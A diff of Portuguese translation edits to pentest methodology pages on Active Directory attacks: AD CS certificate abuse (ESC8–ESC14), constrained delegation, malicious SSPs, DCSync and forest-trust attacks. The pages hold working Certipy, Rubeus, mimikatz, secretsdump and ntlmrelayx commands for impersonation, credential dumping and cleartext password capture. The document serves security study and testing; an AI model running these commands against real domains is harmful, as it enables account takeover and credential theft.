-> Em ambientes onde **AD CS está instalado**, se um **endpoint de inscrição web vulnerável** existir e pelo menos um **modelo de certificado estiver publicado** que permita **inscrição de computador de domínio e autenticação de cliente** (como o modelo padrão **`Machine`**), torna-se possível que **qualquer computador com o serviço spooler ativo seja comprometido por um atacante**!
+> Em ambientes onde **AD CS está instalado**, se um **endpoint de inscrição web vulnerável** existir e pelo menos um **modelo de certificado publicado** que permita **inscrição de computador de domínio e autenticação de cliente** (como o modelo padrão **`Machine`**), torna-se possível que **qualquer computador com o serviço spooler ativo seja comprometido por um atacante**!
 
-Vários **métodos de inscrição baseados em HTTP** são suportados pelo AD CS, disponibilizados através de funções adicionais do servidor que os administradores podem instalar. Essas interfaces para inscrição de certificado baseada em HTTP são suscetíveis a **ataques de retransmissão NTLM**. Um atacante, a partir de uma **máquina comprometida, pode se passar por qualquer conta AD que autentique via NTLM de entrada**. Enquanto se passa pela conta da vítima, essas interfaces web podem ser acessadas por um atacante para **solicitar um certificado de autenticação de cliente usando os modelos de certificado `User` ou `Machine`**.
+Vários **métodos de inscrição baseados em HTTP** são suportados pelo AD CS, disponibilizados através de funções adicionais de servidor que os administradores podem instalar. Essas interfaces para inscrição de certificado baseada em HTTP são suscetíveis a **ataques de retransmissão NTLM**. Um atacante, a partir de uma **máquina comprometida, pode se passar por qualquer conta AD que autentique via NTLM de entrada**. Ao se passar pela conta da vítima, essas interfaces web podem ser acessadas por um atacante para **solicitar um certificado de autenticação de cliente usando os modelos de certificado `User` ou `Machine`**.
 
-- A **interface de inscrição web** (uma aplicação ASP mais antiga disponível em `http://<caserver>/certsrv/`), por padrão, utiliza apenas HTTP, o que não oferece proteção contra ataques de retransmissão NTLM. Além disso, permite explicitamente apenas autenticação NTLM através de seu cabeçalho HTTP de Autorização, tornando métodos de autenticação mais seguros, como Kerberos, inaplicáveis.
+- A **interface de inscrição web** (uma aplicação ASP mais antiga disponível em `http://<caserver>/certsrv/`), por padrão, é apenas HTTP, o que não oferece proteção contra ataques de retransmissão NTLM. Além disso, permite explicitamente apenas autenticação NTLM através de seu cabeçalho HTTP de Autorização, tornando métodos de autenticação mais seguros, como Kerberos, inaplicáveis.
 - O **Serviço de Inscrição de Certificado** (CES), o **Serviço Web de Política de Inscrição de Certificado** (CEP) e o **Serviço de Inscrição de Dispositivos de Rede** (NDES) suportam por padrão autenticação negotiate através de seu cabeçalho HTTP de Autorização. A autenticação negotiate **suporta ambos** Kerberos e **NTLM**, permitindo que um atacante **rebaixe para autenticação NTLM** durante ataques de retransmissão. Embora esses serviços web habilitem HTTPS por padrão, HTTPS sozinho **não protege contra ataques de retransmissão NTLM**. A proteção contra ataques de retransmissão NTLM para serviços HTTPS só é possível quando HTTPS é combinado com binding de canal. Infelizmente, o AD CS não ativa a Proteção Estendida para Autenticação no IIS, que é necessária para binding de canal.
 
 Um **problema** comum com ataques de retransmissão NTLM é a **duração curta das sessões NTLM** e a incapacidade do atacante de interagir com serviços que **exigem assinatura NTLM**.
 
-No entanto, essa limitação é superada ao explorar um ataque de retransmissão NTLM para adquirir um certificado para o usuário, uma vez que o período de validade do certificado dita a duração da sessão, e o certificado pode ser utilizado com serviços que **exigem assinatura NTLM**. Para instruções sobre como utilizar um certificado roubado, consulte:
+No entanto, essa limitação é superada ao explorar um ataque de retransmissão NTLM para adquirir um certificado para o usuário, uma vez que o período de validade do certificado dita a duração da sessão, e o certificado pode ser empregado com serviços que **exigem assinatura NTLM**. Para instruções sobre como utilizar um certificado roubado, consulte:
 
 {{#ref}}
 account-persistence.md
@@ -357,7 +357,7 @@ A propriedade `msPKI-Enrollment-Servers` é usada por Autoridades Certificadoras
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
 <figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
-```powershell
+```bash
 Import-Module PSPKI
 Get-CertificationAuthority | select Name,Enroll* | Format-List *
 ```
@@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
 ```
 #### Abuso com [Certipy](https://github.com/ly4k/Certipy)
 
-A solicitação de um certificado é feita pelo Certipy por padrão com base no modelo `Machine` ou `User`, determinado se o nome da conta sendo retransmitido termina em `$`. A especificação de um modelo alternativo pode ser alcançada através do uso do parâmetro `-template`.
+A solicitação de um certificado é feita pelo Certipy por padrão com base no modelo `Machine` ou `User`, determinado se o nome da conta sendo retransmitida termina em `$`. A especificação de um modelo alternativo pode ser alcançada através do uso do parâmetro `-template`.
 
 Uma técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) pode então ser empregada para forçar a autenticação. Ao lidar com controladores de domínio, a especificação de `-template DomainController` é necessária.
 ```bash
@@ -399,7 +399,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 ### Explicação
 
-O novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impede a incorporação da **nova extensão de segurança `szOID_NTDS_CA_SECURITY_EXT`** em um certificado. Esta flag se torna relevante quando `StrongCertificateBindingEnforcement` está configurado para `1` (a configuração padrão), o que contrasta com uma configuração de `2`. Sua relevância é aumentada em cenários onde um mapeamento de certificado mais fraco para Kerberos ou Schannel pode ser explorado (como no ESC10), dado que a ausência de ESC9 não alteraria os requisitos.
+O novo valor **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) para **`msPKI-Enrollment-Flag`**, referido como ESC9, impede a incorporação da **nova extensão de segurança `szOID_NTDS_CA_SECURITY_EXT`** em um certificado. Esta flag se torna relevante quando `StrongCertificateBindingEnforcement` está configurado como `1` (a configuração padrão), o que contrasta com uma configuração de `2`. Sua relevância é aumentada em cenários onde um mapeamento de certificado mais fraco para Kerberos ou Schannel pode ser explorado (como no ESC10), dado que a ausência do ESC9 não alteraria os requisitos.
 
 As condições sob as quais a configuração desta flag se torna significativa incluem:
 
@@ -420,7 +420,7 @@ Subsequentemente, o `userPrincipalName` de `Jane` é modificado para `Administra
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Essa modificação não viola restrições, dado que `Administrator@corp.local` permanece distinto como `userPrincipalName` de `Administrator`.
+Essa modificação não viola as restrições, dado que `Administrator@corp.local` permanece distinto como `userPrincipalName` de `Administrator`.
 
 Após isso, o template de certificado `ESC9`, marcado como vulnerável, é solicitado como `Jane`:
 ```bash
@@ -451,7 +451,7 @@ Quando `StrongCertificateBindingEnforcement` está configurado como `0`.
 
 **Caso 2**
 
-Se `CertificateMappingMethods` inclui o bit `UPN` (`0x4`).
+Se `CertificateMappingMethods` incluir o bit `UPN` (`0x4`).
 
 ### Caso de Abuso 1
 
@@ -459,7 +459,7 @@ Com `StrongCertificateBindingEnforcement` configurado como `0`, uma conta A com
 
 Por exemplo, tendo permissões `GenericWrite` sobre `Jane@corp.local`, um atacante visa comprometer `Administrator@corp.local`. O procedimento espelha o ESC9, permitindo que qualquer modelo de certificado seja utilizado.
 
-Inicialmente, o hash de `Jane` é recuperado usando Credenciais de Sombra, explorando o `GenericWrite`.
+Inicialmente, o hash de `Jane` é recuperado usando Credenciais Shadow, explorando o `GenericWrite`.
 ```bash
 certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
 ```
@@ -475,7 +475,7 @@ O `userPrincipalName` de `Jane` é então revertido para o original, `Jane@corp.
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
 ```
-Autenticar com o certificado obtido resultará no hash NT de `Administrator@corp.local`, necessitando a especificação do domínio no comando devido à ausência de detalhes do domínio no certificado.
+Autenticar-se com o certificado obtido resultará no hash NT de `Administrator@corp.local`, necessitando a especificação do domínio no comando devido à ausência de detalhes do domínio no certificado.
 ```bash
 certipy auth -pfx administrator.pfx -domain corp.local
 ```
@@ -483,7 +483,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
 
 Com o `CertificateMappingMethods` contendo a flag de bit `UPN` (`0x4`), uma conta A com permissões `GenericWrite` pode comprometer qualquer conta B que não possua a propriedade `userPrincipalName`, incluindo contas de máquina e o administrador de domínio embutido `Administrator`.
 
-Aqui, o objetivo é comprometer `DC$@corp.local`, começando pela obtenção do hash de `Jane` através de Credenciais Sombreadas, aproveitando o `GenericWrite`.
+Aqui, o objetivo é comprometer `DC$@corp.local`, começando por obter o hash de `Jane` através de Credenciais Sombrias, aproveitando o `GenericWrite`.
 ```bash
 certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
 ```
@@ -503,7 +503,7 @@ Para autenticar via Schannel, a opção `-ldap-shell` do Certipy é utilizada, i
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-Através do shell LDAP, comandos como `set_rbcd` permitem ataques de Delegação Constrangida Baseada em Recursos (RBCD), potencialmente comprometendo o controlador de domínio.
+Através do shell LDAP, comandos como `set_rbcd` permitem ataques de Delegação Constrangida Baseada em Recursos (RBCD), comprometendo potencialmente o controlador de domínio.
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
@@ -559,7 +559,7 @@ Ou usando [o fork de impacket de sploutchy](https://github.com/sploutchy/impacke
 ```bash
 $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
 ```
-## Acesso shell ao ADCS CA com YubiHSM - ESC12
+## Acesso ao shell do ADCS CA com YubiHSM - ESC12
 
 ### Explicação
 
@@ -567,13 +567,13 @@ Os administradores podem configurar a Autoridade Certificadora para armazená-la
 
 Se um dispositivo USB estiver conectado ao servidor CA via uma porta USB, ou um servidor de dispositivo USB no caso de o servidor CA ser uma máquina virtual, uma chave de autenticação (às vezes chamada de "senha") é necessária para que o Provedor de Armazenamento de Chaves gere e utilize chaves no YubiHSM.
 
-Esta chave/senha é armazenada no registro sob `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` em texto claro.
+Essa chave/senha é armazenada no registro sob `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` em texto claro.
 
-Referência em [aqui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
+Referência [aqui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
 
 ### Cenário de Abuso
 
-Se a chave privada da CA estiver armazenada em um dispositivo USB físico quando você obtiver acesso shell, é possível recuperar a chave.
+Se a chave privada da CA estiver armazenada em um dispositivo USB físico quando você obtiver acesso ao shell, é possível recuperar a chave.
 
 Primeiro, você precisa obter o certificado da CA (este é público) e então:
 ```cmd
@@ -589,12 +589,12 @@ Finalmente, use o comando certutil `-sign` para forjar um novo certificado arbit
 
 ### Explicação
 
-O atributo `msPKI-Certificate-Policy` permite que a política de emissão seja adicionada ao modelo de certificado. Os objetos `msPKI-Enterprise-Oid` que são responsáveis pela emissão de políticas podem ser descobertos no Contexto de Nomeação de Configuração (CN=OID,CN=Public Key Services,CN=Services) do contêiner OID PKI. Uma política pode ser vinculada a um grupo AD usando o atributo `msDS-OIDToGroupLink` deste objeto, permitindo que um sistema autorize um usuário que apresenta o certificado como se ele fosse um membro do grupo. [Referência aqui](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
+O atributo `msPKI-Certificate-Policy` permite que a política de emissão seja adicionada ao modelo de certificado. Os objetos `msPKI-Enterprise-Oid` que são responsáveis pela emissão de políticas podem ser descobertos no Contexto de Nomeação de Configuração (CN=OID,CN=Public Key Services,CN=Services) do contêiner OID PKI. Uma política pode ser vinculada a um grupo AD usando o atributo `msDS-OIDToGroupLink` deste objeto, permitindo que um sistema autorize um usuário que apresenta o certificado como se ele fosse um membro do grupo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
 Em outras palavras, quando um usuário tem permissão para inscrever um certificado e o certificado está vinculado a um grupo OID, o usuário pode herdar os privilégios deste grupo.
 
 Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) para encontrar OIDToGroupLink:
-```powershell
+```bash
 Enumerating OIDs
 ------------------------
 OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@@ -617,9 +617,9 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ```
 ### Cenário de Abuso
 
-Encontre uma permissão de usuário que pode usar `certipy find` ou `Certify.exe find /showAllPermissions`.
+Encontre uma permissão de usuário que possa usar `certipy find` ou `Certify.exe find /showAllPermissions`.
 
-Se `John` tiver permissão para inscrever `VulnerableTemplate`, o usuário pode herdar os privilégios do grupo `VulnerableGroup`.
+Se `John` tiver permissão para se inscrever no `VulnerableTemplate`, o usuário pode herdar os privilégios do grupo `VulnerableGroup`.
 
 Tudo o que precisa fazer é especificar o template, ele receberá um certificado com direitos OIDToGroupLink.
 ```bash
@@ -627,14 +627,14 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
 ```
 ## Comprometendo Florestas com Certificados Explicados na Voz Passiva
 
-### Quebra de Confianças de Florestas por CAs Comprometidas
+### Quebra de Confianças de Floresta por CAs Comprometidas
 
-A configuração para **inscrição entre florestas** é feita de forma relativamente simples. O **certificado da CA raiz** da floresta de recursos é **publicado nas florestas de conta** pelos administradores, e os **certificados da CA empresarial** da floresta de recursos são **adicionados aos contêineres `NTAuthCertificates` e AIA em cada floresta de conta**. Para esclarecer, esse arranjo concede à **CA na floresta de recursos controle total** sobre todas as outras florestas para as quais gerencia PKI. Se essa CA for **comprometida por atacantes**, certificados para todos os usuários nas florestas de recursos e de conta poderiam ser **forjados por eles**, quebrando assim a fronteira de segurança da floresta.
+A configuração para **inscrição entre florestas** é feita de forma relativamente simples. O **certificado CA raiz** da floresta de recursos é **publicado nas florestas de conta** pelos administradores, e os **certificados CA da empresa** da floresta de recursos são **adicionados aos contêineres `NTAuthCertificates` e AIA em cada floresta de conta**. Para esclarecer, esse arranjo concede à **CA na floresta de recursos controle total** sobre todas as outras florestas para as quais gerencia PKI. Se essa CA for **comprometida por atacantes**, certificados para todos os usuários nas florestas de recursos e de conta poderiam ser **forjados por eles**, quebrando assim a fronteira de segurança da floresta.
 
 ### Privilégios de Inscrição Concedidos a Principais Estrangeiros
 
-Em ambientes de múltiplas florestas, é necessário ter cautela em relação às CAs Empresariais que **publicam modelos de certificado** que permitem **Usuários Autenticados ou principais estrangeiros** (usuários/grupos externos à floresta à qual a CA Empresarial pertence) **direitos de inscrição e edição**.\
-Após a autenticação através de uma confiança, o **SID de Usuários Autenticados** é adicionado ao token do usuário pelo AD. Assim, se um domínio possui uma CA Empresarial com um modelo que **permite direitos de inscrição para Usuários Autenticados**, um modelo poderia potencialmente ser **inscrito por um usuário de uma floresta diferente**. Da mesma forma, se **direitos de inscrição forem explicitamente concedidos a um principal estrangeiro por um modelo**, uma **relação de controle de acesso entre florestas é assim criada**, permitindo que um principal de uma floresta **inscreva-se em um modelo de outra floresta**.
+Em ambientes de múltiplas florestas, é necessário ter cautela em relação às CAs da Empresa que **publicam modelos de certificado** que permitem **Usuários Autenticados ou principais estrangeiros** (usuários/grupos externos à floresta à qual a CA da Empresa pertence) **direitos de inscrição e edição**.\
+Após a autenticação através de uma confiança, o **SID de Usuários Autenticados** é adicionado ao token do usuário pelo AD. Assim, se um domínio possui uma CA da Empresa com um modelo que **permite direitos de inscrição para Usuários Autenticados**, um modelo poderia potencialmente ser **inscrito por um usuário de uma floresta diferente**. Da mesma forma, se **direitos de inscrição forem explicitamente concedidos a um principal estrangeiro por um modelo**, uma **relação de controle de acesso entre florestas é criada**, permitindo que um principal de uma floresta **inscreva-se em um modelo de outra floresta**.
 
 Ambos os cenários levam a um **aumento na superfície de ataque** de uma floresta para outra. As configurações do modelo de certificado poderiam ser exploradas por um atacante para obter privilégios adicionais em um domínio estrangeiro.
 

src/windows-hardening/active-directory-methodology/constrained-delegation.md

@@ -4,16 +4,16 @@
 
 ## Constrained Delegation
 
-Usando isso, um administrador de domínio pode **permitir** que um computador **imite um usuário ou computador** contra um **serviço** de uma máquina.
+Usando isso, um administrador de domínio pode **permitir** que um computador **imite um usuário ou computador** contra qualquer **serviço** de uma máquina.
 
-- **Serviço para Usuário para si mesmo (**_**S4U2self**_**):** Se uma **conta de serviço** tiver um valor _userAccountControl_ contendo [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), então ela pode obter um TGS para si mesma (o serviço) em nome de qualquer outro usuário.
-- **Serviço para Usuário para Proxy(**_**S4U2proxy**_**):** Uma **conta de serviço** pode obter um TGS em nome de qualquer usuário para o serviço definido em **msDS-AllowedToDelegateTo.** Para fazer isso, primeiro precisa de um TGS daquele usuário para si mesma, mas pode usar S4U2self para obter esse TGS antes de solicitar o outro.
+- **Serviço para Usuário se auto (_S4U2self_):** Se uma **conta de serviço** tiver um valor _userAccountControl_ contendo [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D), então ela pode obter um TGS para si mesma (o serviço) em nome de qualquer outro usuário.
+- **Serviço para Usuário Proxy (_S4U2proxy_):** Uma **conta de serviço** pode obter um TGS em nome de qualquer usuário para o serviço definido em **msDS-AllowedToDelegateTo.** Para fazer isso, primeiro precisa de um TGS daquele usuário para si mesma, mas pode usar S4U2self para obter esse TGS antes de solicitar o outro.
 
-**Nota**: Se um usuário estiver marcado como ‘_A conta é sensível e não pode ser delegada_’ no AD, você **não poderá imitar** esse usuário.
+**Nota**: Se um usuário estiver marcado como ‘_Conta é sensível e não pode ser delegada_’ no AD, você **não poderá imitar** esse usuário.
 
-Isso significa que se você **comprometer o hash do serviço**, poderá **imitar usuários** e obter **acesso** em nome deles ao **serviço configurado** (possível **privesc**).
+Isso significa que se você **comprometer o hash do serviço**, poderá **imitar usuários** e obter **acesso** em nome deles a qualquer **serviço** nas máquinas indicadas (possível **privesc**).
 
-Além disso, você **não terá apenas acesso ao serviço que o usuário pode imitar, mas também a qualquer serviço** porque o SPN (o nome do serviço solicitado) não está sendo verificado, apenas privilégios. Portanto, se você tiver acesso ao **serviço CIFS**, também poderá ter acesso ao **serviço HOST** usando a flag `/altservice` no Rubeus.
+Além disso, você **não terá apenas acesso ao serviço que o usuário pode imitar, mas também a qualquer serviço** porque o SPN (o nome do serviço solicitado) não está sendo verificado (neste ticket, essa parte não está criptografada/assinada). Portanto, se você tiver acesso ao **serviço CIFS**, também poderá ter acesso ao **serviço HOST** usando a flag `/altservice` no Rubeus, por exemplo.
 
 Além disso, o **acesso ao serviço LDAP no DC** é o que é necessário para explorar um **DCSync**.
 ```bash:Enumerate
@@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
 ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
 ```
 
+```bash:Quick Way
+# Generate TGT + TGS impersonating a user knowing the hash
+Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
+```
+- Passo 1: **Obter TGT do serviço permitido**
 ```bash:Get TGT
 # The first step is to get a TGT of the service that can impersonate others
 ## If you are SYSTEM in the server, you might take it from memory
@@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
 mimikatz sekurlsa::ekeys
 
 ## Request with aes
-tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
+tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
 
 # Request with RC4
-tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
+tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
 ```
 > [!WARNING]
 > Existem **outras maneiras de obter um ticket TGT** ou o **RC4** ou **AES256** sem ser SYSTEM no computador, como o Printer Bug e delegação não restrita, relé NTLM e abuso do Active Directory Certificate Service.
 >
 > **Apenas tendo esse ticket TGT (ou hash) você pode realizar esse ataque sem comprometer todo o computador.**
+
+- Step2: **Obter TGS para o serviço se passando pelo usuário**
 ```bash:Using Rubeus
-#Obtain a TGS of the Administrator user to self
+# Obtain a TGS of the Administrator user to self
 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
 
-#Obtain service TGS impersonating Administrator (CIFS)
+# Obtain service TGS impersonating Administrator (CIFS)
 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
 
 #Impersonate Administrator on different service (HOST)

src/windows-hardening/active-directory-methodology/custom-ssp.md

@@ -10,7 +10,7 @@ Você pode criar seu **próprio SSP** para **capturar** em **texto claro** as **
 #### Mimilib
 
 Você pode usar o binário `mimilib.dll` fornecido pelo Mimikatz. **Isso registrará em um arquivo todas as credenciais em texto claro.**\
-Coloque a dll em `C:\Windows\System32\`\
+Coloque o dll em `C:\Windows\System32\`\
 Obtenha uma lista de Pacotes de Segurança LSA existentes:
 ```bash:attacker@target
 PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
@@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
 Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
 ```
 Adicione `mimilib.dll` à lista de Provedores de Suporte de Segurança (Pacotes de Segurança):
-```powershell
+```bash
 reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
 ```
 E após uma reinicialização, todas as credenciais podem ser encontradas em texto claro em `C:\Windows\System32\kiwissp.log`
@@ -27,7 +27,7 @@ E após uma reinicialização, todas as credenciais podem ser encontradas em tex
 #### Em memória
 
 Você também pode injetar isso na memória diretamente usando Mimikatz (note que pode ser um pouco instável/não funcionar):
-```powershell
+```bash
 privilege::debug
 misc::memssp
 ```

src/windows-hardening/active-directory-methodology/dcsync.md

@@ -15,15 +15,15 @@ A permissão **DCSync** implica ter essas permissões sobre o domínio: **DS-Rep
 ### Enumeração
 
 Verifique quem tem essas permissões usando `powerview`:
-```powershell
+```bash
 Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
 ```
-### Explorar Localmente
-```powershell
+### Exploit Localmente
+```bash
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
 ```
 ### Explorar Remotamente
-```powershell
+```bash
 secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
 [-just-dc-user <USERNAME>] #To get only of that user
 [-pwd-last-set] #To see when each account's password was last changed
@@ -35,18 +35,18 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
 - um com as **chaves Kerberos**
 - um com senhas em texto claro do NTDS para quaisquer contas configuradas com [**criptografia reversível**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) habilitada. Você pode obter usuários com criptografia reversível com
 
-```powershell
+```bash
 Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
 ```
 
 ### Persistência
 
 Se você for um administrador de domínio, pode conceder essas permissões a qualquer usuário com a ajuda do `powerview`:
-```powershell
+```bash
 Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
 ```
 Então, você pode **verificar se o usuário foi corretamente atribuído** os 3 privilégios procurando-os na saída de (você deve conseguir ver os nomes dos privilégios dentro do campo "ObjectType"):
-```powershell
+```bash
 Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
 ```
 ### Mitigação

src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

@@ -7,7 +7,7 @@ Neste cenário, **seu domínio** está **confiando** alguns **privilégios** a u
 ## Enumeração
 
 ### Confiança de Saída
-```powershell
+```bash
 # Notice Outbound trust
 Get-DomainTrust
 SourceName      : root.local
@@ -28,15 +28,15 @@ MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
 MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
 ## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
 ```
-## Ataque de Conta de Confiança
+## Ataque à Conta de Confiança
 
 Uma vulnerabilidade de segurança existe quando uma relação de confiança é estabelecida entre dois domínios, identificados aqui como domínio **A** e domínio **B**, onde o domínio **B** estende sua confiança ao domínio **A**. Nesse arranjo, uma conta especial é criada no domínio **A** para o domínio **B**, que desempenha um papel crucial no processo de autenticação entre os dois domínios. Esta conta, associada ao domínio **B**, é utilizada para criptografar tickets para acessar serviços entre os domínios.
 
 O aspecto crítico a entender aqui é que a senha e o hash desta conta especial podem ser extraídos de um Controlador de Domínio no domínio **A** usando uma ferramenta de linha de comando. O comando para realizar essa ação é:
-```powershell
+```bash
 Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
 ```
-Esta extração é possível porque a conta, identificada com um **$** após seu nome, está ativa e pertence ao grupo "Domain Users" do domínio **A**, herdando assim as permissões associadas a este grupo. Isso permite que indivíduos se autentiquem no domínio **A** usando as credenciais desta conta.
+Essa extração é possível porque a conta, identificada com um **$** após seu nome, está ativa e pertence ao grupo "Domain Users" do domínio **A**, herdando assim as permissões associadas a esse grupo. Isso permite que indivíduos se autentiquem no domínio **A** usando as credenciais dessa conta.
 
 **Aviso:** É viável aproveitar essa situação para obter uma base no domínio **A** como um usuário, embora com permissões limitadas. No entanto, esse acesso é suficiente para realizar enumeração no domínio **A**.
 
@@ -54,7 +54,7 @@ Este passo de autenticação abre a possibilidade de enumerar e até explorar se
 ```
 ### Coletando a senha de confiança em texto claro
 
-No fluxo anterior, foi usado o hash de confiança em vez da **senha em texto claro** (que também foi **extraída pelo mimikatz**).
+No fluxo anterior, foi utilizado o hash de confiança em vez da **senha em texto claro** (que também foi **extraída pelo mimikatz**).
 
 A senha em texto claro pode ser obtida convertendo a saída \[ CLEAR ] do mimikatz de hexadecimal e removendo bytes nulos ‘\x00’:
 

src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md

@@ -7,7 +7,7 @@ Neste cenário, um domínio externo está confiando em você (ou ambos estão se
 ## Enumeração
 
 Primeiro de tudo, você precisa **enumerar** a **confiança**:
-```powershell
+```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
 TargetName      : domain.external  --> Destination domain
@@ -56,14 +56,14 @@ IsDomain     : True
 # You may also enumerate where foreign groups and/or users have been assigned
 # local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
 ```
-Na enumeração anterior, foi descoberto que o usuário **`crossuser`** está dentro do grupo **`External Admins`**, que tem **acesso de Admin** dentro do **DC do domínio externo**.
+Na enumeração anterior, foi encontrado que o usuário **`crossuser`** está dentro do grupo **`External Admins`** que tem **acesso de Admin** dentro do **DC do domínio externo**.
 
 ## Acesso Inicial
 
 Se você **não conseguiu** encontrar nenhum acesso **especial** do seu usuário no outro domínio, você ainda pode voltar à Metodologia AD e tentar **privesc de um usuário não privilegiado** (coisas como kerberoasting, por exemplo):
 
 Você pode usar as **funções do Powerview** para **enumerar** o **outro domínio** usando o parâmetro `-Domain`, como em:
-```powershell
+```bash
 Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
 ```
 {{#ref}}
@@ -75,10 +75,10 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
 ### Login
 
 Usando um método regular com as credenciais dos usuários que têm acesso ao domínio externo, você deve ser capaz de acessar:
-```powershell
+```bash
 Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
 ```
-### Abuso do SID History
+### Abuso de SID History
 
 Você também pode abusar do [**SID History**](sid-history-injection.md) através de uma confiança de floresta.
 
@@ -87,11 +87,11 @@ Se um usuário for migrado **de uma floresta para outra** e **o SID Filtering n
 > [!WARNING]
 > Como lembrete, você pode obter a chave de assinatura com
 >
-> ```powershell
+> ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
 > ```
 
